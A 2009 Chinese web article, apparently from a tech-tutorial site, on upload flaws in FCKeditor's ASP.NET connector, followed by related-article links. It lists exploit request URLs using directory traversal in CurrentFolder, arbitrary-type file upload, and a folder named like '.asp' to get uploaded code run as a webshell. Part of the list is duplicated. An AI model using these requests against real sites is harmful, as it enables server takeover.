FCKeditor 新闻组件的一些程序漏洞
更新时间：2009年04月28日 20:14:44 作者：
很多网站可能都在用FCK的新闻编辑组件，使用FCK的时候一定要注意版本是否安全，以下是FCK中的文件上传漏洞：（主要是：connector.aspx文件的漏洞）
1 CurrentFolder 参数，可以在网站中不同目录新建文件夹，参数使用 ../../来篡改参数，进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=aspx.asp
2 CurrentFolder 参数，根据返回的XML信息可以查看网站所有的目录，比如 “../../../”进入不同的目录，让后通过XML返回的消息就可以看到没有权限的页面browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
3 上传文件时，通过修改CurrentFolder参数，可以将文件上传到不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=FileUpload&Type=Image&CurrentFolder=%2F
4 同时修改Type 和CurrentFolder 参数，可以上传任意类型文件到网站任意目录，基本上网站就完蛋了。
/browser/default/connectors/aspx/connector.aspx?Command=FileUpload&Type=Image&CurrentFolder=%2F
http://samsungfriend.local.opentide.com.cn/upload/fckroots/Image/asp.asp/asp.asp
5 通过创建文件夹的功能，创建名字带有.aspx的文件夹，如：file.aspx等，利用文件解析漏洞，在该文件夹下上传有代码的.jpg 或.rar等文件（实际文件是.aspx，把文件名该后缀），上传之后就可以利用漏洞执行代码了。 如：www.xxx.com/upload/file.aspx/123.jpg 输入之后，代码被成功执行。
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=aspx.asp
2 CurrentFolder 参数，根据返回的XML信息可以查看网站所有的目录，比如 “../../../”进入不同的目录，让后通过XML返回的消息就可以看到没有权限的页面browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
3 上传文件时，通过修改CurrentFolder参数，可以将文件上传到不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=FileUpload&Type=Image&CurrentFolder=%2F
4 同时修改Type 和CurrentFolder 参数，可以上传任意类型文件到网站任意目录，基本上网站就完蛋了。
/browser/default/connectors/aspx/connector.aspx?Command=FileUpload&Type=Image&CurrentFolder=%2F
http://samsungfriend.local.opentide.com.cn/upload/fckroots/Image/asp.asp/asp.asp
5 通过创建文件夹的功能，创建名字带有.aspx的文件夹，如：file.aspx等，利用文件解析漏洞，在该文件夹下上传有代码的.jpg 或.rar等文件（实际文件是.aspx，把文件名该后缀），上传之后就可以利用漏洞执行代码了。 如：www.xxx.com/upload/file.aspx/123.jpg 输入之后，代码被成功执行。
相关文章
随着windows操作系统和IE浏览器版本的不断推出，很多客户都渐渐放弃了IE6，IE7，使用上了IE8浏览器，但是突然发现自己网站后台里面的eWebEditor文本编辑器的插入图片等等按钮失效了，鼠标点击后什么反应都没有，IE浏览器左下角显示一个黄色的感叹号提示错误，就以为是网站空间、服务器中毒了呢，一时间纷纷都来找我们询问2012-03-03
fckeditor 的基本配置我就不讲了，讲讲图片上传这块吧；2010-01-01
个人觉得这文章很适合初开发FCK插件的朋友~，对于插件的开发的实例可以看我们上一篇发表的文字。2009-06-06
这篇文章主要介绍了让IE8和IE9支持eWebEditor在线编辑器的方法,eWebEditor常用在ASP制作的网站后台中,是比较古老的一款在线编辑器了,需要让IE8和IE9支持的朋友可以参考下2014-06-06
使用KindEditor(富文本编辑器)提供的接口将myFocus（焦点图库）集成在KindEditor上2011-04-04
javascript fckeditor编辑器取值与赋值实现代码
这篇文章对于使用fckeditor编辑器的朋友是个不错应用，主要介绍的是js对fckeditor的取值与赋值操作，fckeditor是个不错的比较方便的扩展功能的编辑器。2010-05-05
这篇文章主要介绍了一款垃圾中的极品HTML编辑器(兼容IE OR FF)2007-04-04
在使用FCK编辑器的时候，我们经常会进行对FCK编辑器的赋值操作，赋值的操作有两个关键的地方，如果不清楚的话出了错还百思不得其解.2009-11-11
FCKeditor编辑器添加图片上传功能及图片路径问题解决方法
现在很多CMS系统因为安全原因会把后台编辑器里的上传功能给去除，但这样一来对实际使用过程造成了很多麻烦，今天我们以ASPCMS系统的FCKeditor编辑器为例，说明一下如何增加图片上传功能2014-04-04
ckeditor syntaxhighlighter代码高亮插件配置分享
现在大家可以不必像我这样为了实现代码高亮的功能，去修改ckeditor编辑器，大家可以去使用百度编辑器(Ueditor)他有代码高亮的功能，还蛮好用的，我的个人网站就是的百度编辑器的。欢迎大家去我的博客看看2014-12-12
最新评论